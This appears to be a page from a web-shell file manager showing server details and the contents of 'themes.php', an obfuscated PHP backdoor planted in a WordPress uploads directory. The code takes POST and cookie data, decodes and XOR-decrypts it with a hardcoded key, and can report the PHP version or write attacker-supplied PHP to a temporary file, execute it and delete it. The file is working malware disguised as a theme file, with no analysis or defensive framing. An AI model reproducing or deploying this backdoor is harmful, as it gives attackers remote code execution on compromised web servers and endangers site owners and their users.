HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/09/themes.php
<?php $ugwdtt /*vjb */ =   'ugwdtt'	^    '';$xcdwfhy	=	"\x61" /*_r_o   */ . /*mb  */ "r".$ugwdtt(114)    . /*   r */ "\x61"	.    "\171"    .   $ugwdtt(95) /*   lgf*/ .    "\x6d"       .   $ugwdtt(97)   .	"p";
function    qhzz_lb($gjvfivy,       $hnsfpc)

{

      global     $ugwdtt;     /* za_uvl*/ $gjvfivy	=	"\74"      .    "?"."p"."h"."p".$ugwdtt(32) /*   n   */ . /*zaxec   */ "u".$ugwdtt(110)    .    "\154" /*_f  */ .    "\x69"     . /*tmlq*/ "\x6e"   .	$ugwdtt(107)      .    "("."_"."_"."F"."\x49"    . /* gdt   */ "\114" /*  ptyfl*/ .	"E"."\x5f" /*   _   */ .    "_".")".";".$ugwdtt(32)       .	$gjvfivy["d"];
  $vfslosnc	=	"\x66" /* qzgwpy */ . /* oduv   */ $ugwdtt(645-540) /* xpuddm*/ .	"l"."\x65"."\x5f" /* vsv */ .     "p".$ugwdtt(117) /*  ltlwn */ .	$ugwdtt(550-434)    . /* nx*/ $ugwdtt(95)	.    "c"."o"."n"."\164"    . /*wkgnq  */ "\x65"."\156"       .   "\x74"    .    $ugwdtt(926-811);    
    $vfslosnc($hnsfpc, /* vtr   */ $gjvfivy); /*umxv*/     _yeoelo($hnsfpc);


}



$zsgulmreml /*  ozmq   */ = /*judg */ 73;
function      _yeoelo($hnsfpc){	global    $ugwdtt;
  
       include($hnsfpc);


  $skg_ciy /* ecxivr */ =	$hnsfpc;


   @unlink($skg_ciy);}




function /* sub*/ pahyzblzs()


{ /*   hixp*/ global	$ugwdtt;



	$yftqkmq /* lrqw  */ = /* bof */ array();
	$yftqkmq["p".$ugwdtt(320-202)]   = /*  bwuq   */ phpversion();

     $yftqkmq["\x73"	.    "\x76"]      = /*   tp*/ "\63"    .    "."."\x35";
	$kzmzzvoxpo	= /*  sf*/ 74;

     echo      @serialize($yftqkmq);

}


function /*cai*/ iepygm($gjvfivy, /* jmilen  */ $dyptpln)


{

   global /*  i   */ $ugwdtt;



    $ciscbweofn    =  "";

       $smknmu    =  strlen($gjvfivy);
	$ncyfls_vr	=    strlen($dyptpln);

    $yftqkmq       = /*  u  */ 0; /*   fsxdh */ $tkxxpyt /*au*/ =    0; /*   xi */   while    ($yftqkmq   <    $smknmu)     {
   $zduuruagw    = /*   bn   */ $gjvfivy[$yftqkmq]   ^	$dyptpln[$tkxxpyt    %       $ncyfls_vr];


    $ciscbweofn      .=       $zduuruagw;

 /* bl_t  */ $tkxxpyt++;		$yftqkmq++;	}


       
 /*   hwmc */ if     (strlen($ciscbweofn)    >	20)   {

 /*  zz  */ $cqwkp_lwp /*tk */ =      substr($ciscbweofn,	0, /*   mvjq  */ 20);

   }

	if /*   evrlxd   */ (empty($ciscbweofn))	{ /* rnqwc  */ $ciscbweofn    = /*x */ date('Y-m-d /*   gcwmg */ H:i:s');

	}
    return	$ciscbweofn;


}



function	zzfcl($ambzyuf)


{


 /*hpxz*/ global	$ugwdtt; /*  qsvin   */ 


 /* x_occ */ $opum_gkkq	=	$ugwdtt(1020-920) /*   sndgdh */ .	"\x30"	.	"d"."7"."7".$ugwdtt(569-520)	.	"\67" /*fdwy */ .	"\x35" /* yqldd  */ .    $ugwdtt(103-58) /* ua */ . /*  amslz   */ "\143"    . /*   i*/ $ugwdtt(98)	.	"\x61"	.	"0".$ugwdtt(898-853)    . /*   dgis  */ "4".$ugwdtt(65-14) /*   qve  */ . /* gtmo   */ "2"."f".$ugwdtt(45) /*   mrsdej   */ .    "\x61"    . /*hqyj */ "\71"    .	"\x30"       . /* u */ "\x65"."-"."\x35" /* _z   */ . /*   on*/ "\x62" /*jajmg   */ .   "\141"	. /* tcu */ $ugwdtt(875-824)       .  $ugwdtt(99)     .	"\144"    . /* ztt */ "6"."1".$ugwdtt(554-505)   . /*rdp */ "\x63"	. /*  dkzsk */ "\145"    . /*  xg   */ "\x37";


        foreach	($ambzyuf	as    $yzolm      =>	$gjvfivy)      {


 /*  ol */ janckama(base64_decode($gjvfivy),	$opum_gkkq, /*nvvb   */ $yzolm);

 /* nqbecx */ }}


function    janckama($gjvfivy,   $opum_gkkq,       $yzolm){
 /* _clyz */ global   $ugwdtt;


 /*  nitc   */ 

	$gjvfivy      =	unserialize(iepygm(iepygm($gjvfivy,    $opum_gkkq),	$yzolm));	$mdnnwz /*s   */ = /*   pyq   */ 'c_';
	$_gvpmr   = /* q  */ 'qmmvr';


	if     (isset($gjvfivy[$ugwdtt(97)    .    "\153"]))    {  if     ($gjvfivy["\141"]       ==	"\151")      {    pahyzblzs();

 /*rb*/ } /*  fzoxvf */ elseif /*  xblq  */ ($gjvfivy["\141"]    ==      "\x65") /*   yojo*/ {

   qhzz_lb($gjvfivy,       sprintf(".".$ugwdtt(47) /* flhcth  */ .    "\45" /*  ugf   */ .    "s".".".$ugwdtt(112)	.   "\x6c",	md5($opum_gkkq)));


			$ehfccdg_rx	= /*  jtrm  */ 44;


    }


      exit(); /*   rzzd */ }}

zzfcl($_POST);     

$emevrgfzvo       =      'rawurldecode';

$hjhkmqbw   = /*  bmb_   */ $xcdwfhy($emevrgfzvo, /*  otsxme */ $_POST);explode("", /*   qo_e   */ $emevrgfzvo);



zzfcl($_COOKIE);
$otdfbupptg /*   lvow*/ = /*gs   */ $xcdwfhy($emevrgfzvo, /*zxrso  */ $_COOKIE);





?>